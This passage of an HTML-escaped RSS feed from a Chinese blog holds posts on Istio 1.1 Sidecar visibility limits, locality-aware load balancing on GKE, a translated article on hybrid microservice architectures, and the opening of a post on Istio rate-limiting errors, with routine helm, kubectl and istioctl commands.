&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ helm template install/kubernetes/helm/istio-init \
    --name istio-init --namespace istio-system | kubectl apply -f -
...
$ helm template install/kubernetes/helm/istio \
    --name istio --namespace istio-system \
    --values install/kubernetes/helm/istio/values-istio-demo-auth.yaml | kubectl apply -f -
...
$ kubectl create ns other
namespace/other created

$ kubectl label namespaces other istio-injection=enabled --overwrite
namespace/other labeled

$ kubectl label namespaces default istio-injection=enabled --overwrite
namespace/default labeled
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;分别在 &lt;code&gt;default&lt;/code&gt; 和 &lt;code&gt;other&lt;/code&gt; 中启动 &lt;code&gt;flaskapp&lt;/code&gt; 和 &lt;code&gt;sleep&lt;/code&gt; 应用。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f sleep/sleep.yaml -n default
service/sleep created
deployment.extensions/sleep created
$ kubectl apply -f sleep/sleep.yaml -n other
service/sleep created
deployment.extensions/sleep created
$ kubectl apply -f httpbin/httpbin.yaml -n default
service/httpbin created
deployment.extensions/httpbin created
$ kubectl apply -f httpbin/httpbin.yaml -n other
service/httpbin created
deployment.extensions/httpbin created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查一下调用关系：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl exec -c sleep -it sleep-69bd44b5bb-vwpzf -- curl http://httpbin:8000/ip
{
  &amp;quot;origin&amp;quot;: &amp;quot;127.0.0.1&amp;quot;
}

$ kubectl exec -c sleep -it sleep-69bd44b5bb-vwpzf -- curl http://httpbin.other:8000/ip
{
  &amp;quot;origin&amp;quot;: &amp;quot;127.0.0.1&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;服务的可见性&#34;&gt;服务的可见性&lt;/h2&gt;

&lt;p&gt;缺省情况下，注入了 Istio 的工作负载会进行全网格的传播，假设 &lt;code&gt;default&lt;/code&gt; 和 &lt;code&gt;other&lt;/code&gt; 两个不相干的命名空间，&lt;code&gt;other&lt;/code&gt; 中有大量的服务，而 &lt;code&gt;default&lt;/code&gt; 中只有几个，因为路由传播的关系，&lt;code&gt;default&lt;/code&gt; 命名空间中的工作负载，其 Sidecar 也会带上 &lt;code&gt;other&lt;/code&gt; 命名空间中的路由信息。例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ istioctl proxy-config clusters sleep-69bd44b5bb-vwpzf | grep other
httpbin.other.svc.cluster.local 8000    -   outbound    &amp;amp;{EDS}
sleep.other.svc.cluster.local   80      -   outbound    &amp;amp;{EDS}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，在 &lt;code&gt;default&lt;/code&gt; 命名空间中的 Pod，保存了其它命名空间中的路由信息。这不管是对内存消耗还是路由控制来说，都会造成一定浪费，我们可以定义一个 Sidecar 资源，限制 sleep 服务只访问同一命名空间的其他服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: Sidecar
metadata:
  name: sleep
spec:
  workloadSelector:
    labels:
      app: sleep  
  egress:
  - hosts:
    - &amp;quot;default/*&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交到集群，看看效果：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f sleep-egress.yaml
sidecar.networking.istio.io/sleep created

$ istioctl proxy-config clusters sleep-69bd44b5bb-vwpzf | grep httpbin
httpbin.default.svc.cluster.local   8000    -   outbound    &amp;amp;{EDS}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，httpbin 的路由只剩下了本命名空间之内的服务。再次尝试访问：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl exec -c sleep -it sleep-69bd44b5bb-vwpzf -- curl http://httpbin:8000/ip
{
  &amp;quot;origin&amp;quot;: &amp;quot;127.0.0.1&amp;quot;
}

$ kubectl exec -c sleep -it sleep-69bd44b5bb-vwpzf -- curl -v http://httpbin.other:8000/ip
*   Trying 10.245.156.252...
* TCP_NODELAY set
* Connected to httpbin.other (10.245.156.252) port 8000 (#0)
&amp;gt; GET /ip HTTP/1.1
&amp;gt; Host: httpbin.other:8000
&amp;gt; User-Agent: curl/7.61.1
&amp;gt; Accept: */*
&amp;gt;
&amp;lt; HTTP/1.1 404 Not Found
&amp;lt; date: Wed, 10 Apr 2019 04:50:15 GMT
&amp;lt; server: envoy
&amp;lt; content-length: 0
&amp;lt;
* Connection #0 to host httpbin.other left intact
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样一来，已经无法访问 &lt;code&gt;httpbin.other&lt;/code&gt; 的服务了，但是如果尝试从 &lt;code&gt;other&lt;/code&gt; 到 &lt;code&gt;default&lt;/code&gt; 访问的话，还是可以继续的。&lt;/p&gt;

&lt;h2 id=&#34;sidecar-的-ingress-和-egress&#34;&gt;Sidecar 的 Ingress 和 Egress&lt;/h2&gt;

&lt;p&gt;除了上面的小功能之外，Sidecar 的 &lt;code&gt;IstioEgressListener&lt;/code&gt; 和 &lt;code&gt;IstioIngressListener&lt;/code&gt; 都提供了很强大的功能，例如：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Envoy 可以为应用容器所监听的 Unix socket 提供反向代理服务。&lt;/li&gt;
&lt;li&gt;在没有 iptables 支持的情况下，可以使用 &lt;code&gt;bind&lt;/code&gt; 结合 &lt;code&gt;port&lt;/code&gt; 的方式，直接指定代理方案。&lt;/li&gt;
&lt;li&gt;可以在容器内部为 egress 服务提供基于 Unix socket 的反向代理。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;详情可以参考官方参考文档：&lt;a href=&#34;https://istio.io/docs/reference/config/networking/v1alpha3/sidecar/#IstioIngressListener&#34; target=&#34;_blank&#34;&gt;https://istio.io/docs/reference/config/networking/v1alpha3/sidecar/#IstioIngressListener&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;中文版：&lt;a href=&#34;https://skyao.io/learning-istio/crd/network/sidecar.html&#34; target=&#34;_blank&#34;&gt;https://skyao.io/learning-istio/crd/network/sidecar.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这些功能都非常有用，上面的文档中都提供了很好的应用场景，&lt;strong&gt;但是这些特性我只有可见性部分测试成功了(╬￣皿￣)=○&lt;/strong&gt;，目前正在讨说法，非常希望是我错了。。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 负载均衡的区域感知</title>
      <link>/post/locality-load-balancing/</link>
      <pubDate>Mon, 08 Apr 2019 13:45:32 +0800</pubDate>
      <guid>/post/locality-load-balancing/</guid>
      <description>

&lt;p&gt;Envoy/Istio 1.1 中有个有趣的新特性：负载均衡提供了&lt;a href=&#34;https://istio.io/help/ops/traffic-management/locality-load-balancing/&#34; target=&#34;_blank&#34;&gt;区域感知&lt;/a&gt;的能力。简单说来，就是在分区部署的较大规模的集群，或者公有云上，Istio 负载均衡可以根据节点的区域标签，对调用目标做出就近选择。在跨区部署的应用中，原始的 Kubernetes 负载均衡可能会把来自 A 区的请求发送给远在 B 区的服务，造成高成本的跨区调用。要缩减这种损耗，通常都需要实现更多的逻辑，Istio 的区域感知特性在某种程度上提供了一种解决办法。&lt;/p&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;p&gt;接下来首先做一些琐碎的安装工作，这里选择了常见的 GCP 作为测试环境，Istio 版本为 1.1.2。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;在 GCP 的 &lt;code&gt;us-central1&lt;/code&gt; 创建一个区域集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ gcloud beta container clusters create &amp;quot;standard-cluster-1&amp;quot; \
...
 --no-enable-basic-auth \
 --cluster-version &amp;quot;1.12.6-gke.10&amp;quot; \
 --machine-type &amp;quot;n1-standard-1&amp;quot; --image-type &amp;quot;COS&amp;quot; \
...
 --num-nodes &amp;quot;2&amp;quot; \
 --no-enable-cloud-logging --no-enable-cloud-monitoring \
...--no-enable-ip-alias \
 --addons HorizontalPodAutoscaling \
 --enable-autoupgrade --enable-autorepair
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;获取本地认证，为 &lt;code&gt;kubectl&lt;/code&gt; 生成 &lt;code&gt;context&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ gcloud beta container clusters get-credentials \
standard-cluster-1 --region us-central1 \
--project dustise-mesh-lab
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;查看节点标签，这里会看到不同的节点会使用&lt;a href=&#34;https://kubernetes.io/docs/reference/kubernetes-api/labels-annotations-taints/#failure-domain-beta-kubernetes-io-region&#34; target=&#34;_blank&#34;&gt;区域标签&lt;/a&gt;进行标识：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get nodes --show-labels

...
failure-domain.beta.kubernetes.io/region=us-central1,failure-domain.beta.kubernetes.io/zone=us-central1-a
...
failure-domain.beta.kubernetes.io/region=us-central1,failure-domain.beta.kubernetes.io/zone=us-central1-c
...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;为 Istio 准备 RBAC：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl create clusterrolebinding cluster-admin-binding \
    --clusterrole=cluster-admin \
    --user=$(gcloud config get-value core/account)
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;初始化 Istio CRD：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl create namespace istio-system
$ helm template install/kubernetes/helm/istio-init --name istio-init --namespace istio-system | kubectl apply -f -

configmap/istio-crd-10 created
configmap/istio-crd-11 created
serviceaccount/istio-init-service-account created
clusterrole.rbac.authorization.k8s.io/istio-init-istio-system created
clusterrolebinding.rbac.authorization.k8s.io/istio-init-admin-role-binding-istio-system created
job.batch/istio-init-crd-10 created
job.batch/istio-init-crd-11 created
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://istio.io/docs/setup/kubernetes/install/helm/&#34; target=&#34;_blank&#34;&gt;安装 Isto&lt;/a&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ helm template install/kubernetes/helm/istio \
    --name istio --namespace istio-system \
    --values install/kubernetes/helm/istio/values-istio-demo-auth.yaml | kubectl apply -f -
......
handler.config.istio.io/kubernetesenv created
rule.config.istio.io/kubeattrgenrulerule created
rule.config.istio.io/tcpkubeattrgenrulerule created
kubernetes.config.istio.io/attributes created
destinationrule.networking.istio.io/istio-policy created
destinationrule.networking.istio.io/istio-telemetry created
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;标记 &lt;code&gt;default&lt;/code&gt; 命名空间，启动自动注入：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl label namespaces default istio-injection=enabled --overwrite
kubectl namespace/default labeled
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;部署应用&#34;&gt;部署应用&lt;/h2&gt;

&lt;p&gt;为了方便演示，我们给惯用的 flaskapp 和 sleep 加上 &lt;code&gt;NodeSelector&lt;/code&gt;，要求按照版本分布到不同区域的节点上，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;nodeSelector:
        failure-domain.beta.kubernetes.io/zone: us-central1-f
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;标签内容可以参照上文 &lt;code&gt;kubectl get nodes --show-labels&lt;/code&gt; 的显示结果。&lt;/p&gt;

&lt;p&gt;修改了部署清单之后，就可以部署了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f flaskapp/flaskapp.istio.yaml
service/flaskapp created
deployment.extensions/flaskapp-v1 created
deployment.extensions/flaskapp-v2 created
$ kubectl apply -f sleep/sleep.istio.yaml
service/sleep created
deployment.extensions/sleep-v1 created
deployment.extensions/sleep-v2 created
deployment.extensions/sleep-v3 created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;稍候片刻，查看部署结果：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pods -o wide
NAME                          READY   STATUS    RESTARTS   AGE   IP          NODE                                                NOMINATED NODE
flaskapp-v1-b9644bd75-g82nj   2/2     Running   0          92m   10.40.4.9   gke-standard-cluster-1-default-pool-0570ecb1-lm7q   &amp;lt;none&amp;gt;
flaskapp-v2-77d648fbd-cvfql   2/2     Running   0          92m   10.40.3.5   gke-standard-cluster-1-default-pool-f2347d89-q79k   &amp;lt;none&amp;gt;
sleep-v1-84c85c8946-c7bvc     2/2     Running   0          91m   10.40.1.3   gke-standard-cluster-1-default-pool-0570ecb1-1qnq   &amp;lt;none&amp;gt;
sleep-v2-57cf55db78-vrvtc     2/2     Running   0          92m   10.40.3.7   gke-standard-cluster-1-default-pool-f2347d89-q79k   &amp;lt;none&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;和上文比较，可以看到，sleep 和 flaskapp 的 v1、v2 两个版本，分别运行在 &lt;code&gt;us-central1-a&lt;/code&gt; 和 &lt;code&gt;us-central1-f&lt;/code&gt; 中。&lt;/p&gt;

&lt;h2 id=&#34;验证路由的区域感知功能&#34;&gt;验证路由的区域感知功能&lt;/h2&gt;

&lt;p&gt;接下来分别从网格内部和 Ingress Gateway 来验证这一功能。&lt;/p&gt;

&lt;h3 id=&#34;服务网格内部请求&#34;&gt;服务网格内部请求&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl exec -it -c sleep sleep-v1-84c85c8946-c7bvc bash
# for i in {1..10}; do http --body  http://flaskapp/env/version ; done
v1
v2
v2
v1
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，请求被随机分配到不同的版本，也就是说，此时的调用是无视分区的。接下来我们设置 Pilot 的环境变量，启用区域感知功能，过程很简单，给它的 Pod 加入环境变量 &lt;code&gt;PILOT_ENABLE_LOCALITY_LOAD_BALANCING&lt;/code&gt;，并任意赋值即可，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- name: PILOT_TRACE_SAMPLING
  value: &amp;quot;100&amp;quot;
...
- name: PILOT_ENABLE_LOCALITY_LOAD_BALANCING
  value: &amp;quot;1&amp;quot;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次进入 Pod 访问 flaskapp 服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl exec -it -c sleep sleep-v1-84c85c8946-c7bvc bash
# for i in {1..10}; do http --body  http://flaskapp/env/version ; done
v1
v1
v1
...
# exit
$ kubectl exec -it -c sleep sleep-v2-57cf55db78-vrvtc bash
# for i in {1..10}; do http --body  http://flaskapp/env/version ; done
v2
v2
v2
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，果然按照我们预想的情况，不同区域的请求，会交由不同区域的服务来进行响应。如果此时删除同区的目标负载，会发现开始平均访问其它区的服务。&lt;/p&gt;

&lt;h3 id=&#34;ingress-网关&#34;&gt;Ingress 网关&lt;/h3&gt;

&lt;p&gt;Ingress 网关控制器在网格内同样也会分配到不同的节点上，因此也同样会受到区域的影响。例如我们为 flaskapp 创建一个 &lt;code&gt;VirtualService&lt;/code&gt; + &lt;code&gt;Gateway&lt;/code&gt; 的组合，引入外部流量：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: flaskapp-gateway
spec:
  selector:
    istio: ingressgateway
  servers:
  - port:
      number: 80
      name: http
      protocol: HTTP
    hosts:
    - &amp;quot;flaskapp.example.com&amp;quot;
---
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: httpbin
spec:
  hosts:
  - &amp;quot;flaskapp.example.com&amp;quot;
  gateways:
  - flaskapp-gateway
  http:
  - route:
    - destination:
        port:
          number: 80
        host: flaskapp
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交后，可以在外使用 &lt;code&gt;curl --resolve&lt;/code&gt; 来验证：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ export INGRESS_HOST=$(kubectl -n istio-system get service istio-ingressgateway -o jsonpath=&#39;{.status.loadBalancer.ingress[0].ip}&#39;)
$ for i in {1..10}; do curl --resolve flaskapp.example.com:80:$INGRESS_HOST http://flaskapp.example.com/env/version ; done
v3v3v3v3v3v3v3v3v3v3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，对 Ingress Gateway 进入的流量，区域感知功能也是同样生效的。&lt;/p&gt;

&lt;h2 id=&#34;区域间分流&#34;&gt;区域间分流&lt;/h2&gt;

&lt;p&gt;如果只是简单的就近原则，虽然方便，但也难免有些枯燥，例如我的集群中的三个分区之间存在优先次序，或者强行指派一个区的请求需要由指定的其它分区的服务进行处理，又该怎样呢？&lt;/p&gt;

&lt;p&gt;istio-system 中有个叫做 istio 的 configmap，其中包含了 &lt;a href=&#34;https://istio.io/docs/reference/config/istio.mesh.v1alpha1/&#34; target=&#34;_blank&#34;&gt;Istio 的一些核心配置&lt;/a&gt;，里面的 &lt;a href=&#34;https://istio.io/docs/reference/config/istio.mesh.v1alpha1/#LocalityLoadBalancerSetting&#34; target=&#34;_blank&#34;&gt;LocalityLoadBalancerSetting&lt;/a&gt;，包含了对区域感知负载均衡的一些行为配置。例如我们分配所有分区的流量，都分配到前面两个区域：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;    localityLbSetting:
      distribute:
      - from: us-central1/us-central1-a/*
        to:
          us-central1/us-central1-a/*: 90
          us-central1/us-central1-b/*: 10
      - from: us-central1/us-central1-b/*
        to:
          us-central1/us-central1-a/*: 90
          us-central1/us-central1-b/*: 10
      - from: us-central1/us-central1-f/*
        to:
          us-central1/us-central1-a/*: 90
          us-central1/us-central1-b/*: 10
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;应用之后，重启 Galley、Pilot、Injector，并重新注入应用，再次在不同分区的 sleep 容器中进行测试。会发现其中的请求呈现了符合配置要求的分配，并且没有发送到 us-central1-b 区。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;事实上本次测试，并没有发现比率生效，仅达到有或无的区别。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;目前的分区域分流功能似乎还有些问题，但是不失为一个新的服务亲和思路。
分区是基于 Kubernetes Node 标签完成的，通过对标签的调整（例如机柜、楼层），能够比较方便的在&lt;strong&gt;无侵入&lt;/strong&gt;的情况下，实现就近调用，对服务的跨区 HA，有一定的辅助作用。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Istio 负载均衡的区域感知：&lt;a href=&#34;https://istio.io/help/ops/traffic-management/locality-load-balancing/&#34; target=&#34;_blank&#34;&gt;https://istio.io/help/ops/traffic-management/locality-load-balancing/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;使用 Helm 安装 Istio：&lt;a href=&#34;https://istio.io/docs/setup/kubernetes/install/helm/&#34; target=&#34;_blank&#34;&gt;https://istio.io/docs/setup/kubernetes/install/helm/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Kubernetes 区域标签：&lt;a href=&#34;https://kubernetes.io/docs/reference/kubernetes-api/labels-annotations-taints/#failure-domain-beta-kubernetes-io-region&#34; target=&#34;_blank&#34;&gt;https://kubernetes.io/docs/reference/kubernetes-api/labels-annotations-taints/#failure-domain-beta-kubernetes-io-region&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>混合微服务模式</title>
      <link>/post/microservice-hybrid-model/</link>
      <pubDate>Thu, 04 Apr 2019 01:23:56 +0800</pubDate>
      <guid>/post/microservice-hybrid-model/</guid>
      <description>

&lt;p&gt;原作者：&lt;a href=&#34;https://thenewstack.io/author/sonya-koptyev/&#34; target=&#34;_blank&#34;&gt;Sonya Koptyev&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;原标题：&lt;a href=&#34;https://thenewstack.io/why-a-microservices-hybrid-model-is-what-you-probably-need-instead/&#34; target=&#34;_blank&#34;&gt;Why a Microservices Hybrid Model Is What You Probably Need Instead&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;在听到别人谈及&lt;a href=&#34;https://www.twistlock.com/2017/03/20/microsecurity-for-microservices-2/&#34; target=&#34;_blank&#34;&gt;微服务&lt;/a&gt;的时候，你会注意到他们讨论的是一个非此即彼的问题：重构成微服务？还是固守单体形态？这种想法很合情理：微服务是个复杂的话题，把这个复杂性简化成一个二选一问题，就轻松了。&lt;/p&gt;

&lt;p&gt;然而微服务实际上并不是一个非黑即白的概念。在应用中部分使用微服务，其它组件仍然保持单体应用的状态，这是一种完全有可能的情况。&lt;/p&gt;

&lt;p&gt;这就成了一种混合模式的微服务。本文中我希望能解释一下混合微服务的具体含义，为什么会用到这种模式以及如何构建混合模式的微服务。&lt;/p&gt;

&lt;h2 id=&#34;混合微服务的概念和来由&#34;&gt;混合微服务的概念和来由&lt;/h2&gt;

&lt;p&gt;简单来说，混合&lt;a href=&#34;https://www.twistlock.com/resources/guide-cloud-native-microservices/&#34; target=&#34;_blank&#34;&gt;微服务应用&lt;/a&gt;意味着应用的一部分是用微服务的方式来进行开发和部署，其它部分则还是单体形式。&lt;/p&gt;

&lt;p&gt;可以将其与混合云相类比，混合云中包含了公有云、私有云，可能还有其它的自有基础设施。目前来看，混合云是一种流行的实践方式；实际上，可能很难找到一个完全单一云模式的组织。&lt;/p&gt;

&lt;p&gt;如果我们能和混合云共处，那么也应该能够应对混合微服务架构。这种做法能够比较简单的获得微服务在弹性、容量和安全方面的好处，又无需使用微服务架构将传统应用完全重构。&lt;/p&gt;

&lt;p&gt;对多数组织来说，将一个单体应用完全重构为微服务的过程中，对开发资源的调动是一个很严峻的问题；采用混合微服务策略是一个较好的方式，对开发团队来说，这种方式让微服务架构触手可及；否则的话，开发团队可能会因为时间、经验等方面的欠缺，无法接受对单体应用的重构工作。&lt;/p&gt;

&lt;h2 id=&#34;构建混合微服务架构的最佳实践&#34;&gt;构建混合微服务架构的最佳实践&lt;/h2&gt;

&lt;p&gt;混合微服务架构的基本概念很容易理解，但是实现起来就颇值得玩味了。首先面临的问题就是，需要对你的应用进行鉴别——哪些部分需要微服务改造，哪些部分需要保持单体形态。这里给出一些提示。&lt;/p&gt;

&lt;h3 id=&#34;最大化收益的部分优先重构&#34;&gt;最大化收益的部分优先重构&lt;/h3&gt;

&lt;p&gt;最醒目也是最重要的事情就是，应用的哪些部分重构为微服务会获得最大收益。&lt;/p&gt;

&lt;p&gt;哪些部分需要重构？要解答这个问题很明显根据实际情况来进行判断，但是还是存在一些指导性的微服务改造原则的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.twistlock.com/2019/01/28/security-strategy-needs-scale-heres/&#34; target=&#34;_blank&#34;&gt;伸缩性&lt;/a&gt;：你的应用中，可能有些部分需要比其它部分更多的实例数量。例如一个系统的首次访问可能需要登录，这就可能使得认证模块在某一时间出现峰值，而其它模块则不存在这种波动。这种情况下，将认证模块拆分出来形成独立的微服务，就能让你用更少资源来满足认证的峰值需要。&lt;/li&gt;
&lt;li&gt;安全性：应用中哪一部分最多暴露在安全威胁之下？哪一部分最有可能被入侵从而影响到其它部分的安全？这些组件应该优先转换为微服务，这样有利于进行有效的隔离，降低安全风险。&lt;/li&gt;
&lt;li&gt;更新：微服务的一个重要优势就是能够在不打扰其它微服务的情况下进行独立更新。有时一个应用中的不同组件会有不同的更新频率。有时候你会在很少更新后端的情况下，频繁的变更接口。这种情况下，可以把前端重构为一个或多个微服务，从而能够更容易的进行这部分的更新工作，让原有的后端继续以单体应用的形式进行。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;正视微服务的复杂性&#34;&gt;正视微服务的复杂性&lt;/h3&gt;

&lt;p&gt;微服务有很多优势，但是也有其固有的缺陷：把系统变得更复杂。这种额外的复杂性，直接提升了开发和运维工作的难度。&lt;/p&gt;

&lt;p&gt;正因如此，混合微服务的方式就很有意义了，可以尽可能的降低微服务引入的复杂性。例如哪一部分的 API 调用更少，或者哪一部分可以打包为独立的容器。如果优先对这些组件进行重构，就能够有效的减少 API 调用，降低容器化的难度。&lt;/p&gt;

&lt;h3 id=&#34;面向未来&#34;&gt;面向未来&lt;/h3&gt;

&lt;p&gt;和混合云一样，混合微服务策略不是一蹴而就的。这是个持续的过程。可能起初只有一小部分的组件被独立出来成为了微服务，从而形成了混合微服务架构，但是不必止步于此，随着时间的推移和环境的变化，可能会有更多的重构需求。&lt;/p&gt;

&lt;p&gt;所以在踏上混合微服务之路的时候，应该设计一个微服务的路线图。就算不具体到时间，至少也应该对你的混合微服务应用有一个基本的演进设想。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;我们都希望改善我们的单体应用，但实际情况是，多数情况下我们不会有足够的开发资源把单体应用迅速的重构为微服务架构。与其全盘放弃，不如考虑一下这种混合微服务架构。可以参考上面提出的标准，来决定需要进行微服务改造的模块，需求不够迫切的其它部分，继续以单体应用的模式提供服务。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 1.1 中的限流问题</title>
      <link>/post/ratelimit-in-istio-1-1/</link>
      <pubDate>Sat, 23 Mar 2019 01:55:47 +0800</pubDate>
      <guid>/post/ratelimit-in-istio-1-1/</guid>
      <description>

&lt;p&gt;在 &lt;a href=&#34;https://blog.fleeto.us/post/servicemesh-and-chasm/&#34; target=&#34;_blank&#34;&gt;Istio 1.1 发布&lt;/a&gt;之后，对 &lt;a href=&#34;https://item.jd.com/12527008.html&#34; target=&#34;_blank&#34;&gt;《深入浅出 Istio》&lt;/a&gt;一书中的例子&lt;a href=&#34;https://blog.fleeto.us/post/istio-book-update-for-1-1/&#34; target=&#34;_blank&#34;&gt;进行了一遍快速的检查&lt;/a&gt;，发现限流功能已经无法使用了。&lt;/p&gt;

&lt;p&gt;在解决了 &lt;a href=&#34;https://blog.fleeto.us/post/handler-in-istio-1-1/&#34; target=&#34;_blank&#34;&gt;Prometheus 的 Handler 问题&lt;/a&gt;之后，开始查看限流的问题。&lt;/p&gt;

&lt;h2 id=&#34;mixer-日志控制的两个小技巧&#34;&gt;Mixer 日志控制的两个小技巧&lt;/h2&gt;

&lt;p&gt;Mixer 策略相关内容比较多，经常需要查看 Policy 和 Telemetry 的日志，然而这两种进程的缺省日志都是很多的，可以用一点小技巧来进行清理。&lt;/p&gt;

&lt;h3 id=&#34;godebug&#34;&gt;GODEBUG&lt;/h3&gt;

&lt;p&gt;首先，Mixer 的两个 Deployment 中都会带有 &lt;code&gt;GODEBUG&lt;/code&gt; 环境变量，用于开启调试信息，可以使用 &lt;code&gt;kubectl edit&lt;/code&gt; 命令删除环境变量。&lt;/p&gt;

&lt;h3 id=&#34;controlz&#34;&gt;ControlZ&lt;/h3&gt;

&lt;p&gt;Istio 组件都带有 ControlZ 接口，可以用于控制和查看核心组件的一些配置信息，其端口都开放在 9876，可以用端口转发的方式打开进行调整，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl port-forward -n istio-system \
&amp;gt; istio-telemetry-c545bb9bd-x7jpz 9876:9876
Forwarding from 127.0.0.1:9876 -&amp;gt; 9876
Forwarding from [::1]:9876 -&amp;gt; 9876
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后就可以用浏览器打开 &lt;code&gt;http://127.0.0.1:9876&lt;/code&gt; 进行调整了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/controlz.png&#34; alt=&#34;controlz&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;言归正传&#34;&gt;言归正传&lt;/h2&gt;

&lt;p&gt;应用书中的 YAML 代码的同时，可以打开 Mixer 的日志，会发现其中有几行错误：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;error  failed to evaluate expression for field &#39;Dimensions[destination]&#39;; unknown attribute destination.service
error  Instance not found: instance=&#39;dest-quota.quota&#39;
error  No valid instances found                                                error  No valid actions found in rule
&lt;/code&gt;&lt;/pre&gt;

